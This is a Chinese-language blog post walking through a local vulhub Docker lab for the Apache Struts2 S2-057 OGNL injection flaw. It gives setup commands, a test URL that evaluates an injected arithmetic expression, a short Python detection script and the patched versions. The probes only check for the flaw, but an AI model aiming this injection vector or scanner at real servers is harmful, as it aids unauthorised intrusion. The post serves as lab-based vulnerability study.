哎,最近还是比较忙的,各种麻烦事各种心累,突然想起我还有这么一个博客,想着怎么着也得上来写点东西,上周爆出了struts2-057漏洞,趁闲的时候复现一下,坑还是蛮多的。
直接开始,这里要膜拜一下大佬https://github.com/jas502n/St2-057
首先本地使用docker部署vulhub,详细的可以参考https://www.douban.com/note/664677507/,或者百度一下,度娘上面说的还是蛮详细的。
大概来写下步骤
$ yum install git-core
$ sudo yum -y install docker-ce
尝试运行一下
$ docker images
如果出现镜像列表则说明成功安装。接下来就需要安装vulhub了,在这之前,需要先安装pip
$ wget https://bootstrap.pypa.io/get-pip.py
安装完成之后尝试输入pip,出现选项即说明安装成功,接下来就可以使用pip来安装docker-compose
$ pip install docker-compose
直接从github上将vulhub拿下来,由于某些原因,直接下载vulhub会报错,所以建议直接从github上下载,当然也可以直接下载。
$ git clone https://github.com/vulhub/vulhub
不出意外的话,下载成功以后查看目录下会出现vulhub,这个时候就可以进去看看里面有些什么,当然里面所包含靶站的还是比较多的,都可以复现一些比较经典的漏洞。
这里重点介绍下struts2-057漏洞吧,进入struts2目录下,找到struts2-057,进去。
直接使用docker-compose将镜像安装起来。
$ docker-compose up -d
看下docker里面镜像库,如果出现struts2镜像则说明安装成功。
查看psid,复制id后直接启用环境。
$ docker exec -i -t <id> /bin/bash
环境就搭建起来了,访问一下ip:port/struts2-showcase/
这里就访问成功了,之后验证漏洞,将url换成ip:port/struts2-showcase/${(111+111)}/actionChain1.action
最后可以看到已经变成了ip:port/struts2-showcase/222/register2.action
说明确实存在struts2-057漏洞。这里给出一个大佬的检测poc。
import sys import requests url = sys.argv[1] url_list = [i for i in url.split("/") if i != ''] payload = "${(65535+521)}" payload = "/" + payload + "/" num = 0 for str in url_list: num += 1 if num == 1: nurl = str continue elif num == 2: nurl = nurl + "//" + str continue elif num == len(url_list): nurl = nurl + payload + str continue else: nurl = nurl + "/" + str continue try: r = requests.head(nurl, stream=True).headers["Location"] except: print "不存在ST2-057漏洞!" exit() if r.find("66056") != -1: print "存在ST2-057漏洞!" else: print "不存在ST2-057漏洞!"
还是基于上面提到的检测方法,大家可以试一下。
漏洞修复:
本质修复还得官方来,所以只能乖乖升级下版本。升级到Struts 2.3.35、Struts 2.5.17这两个版本。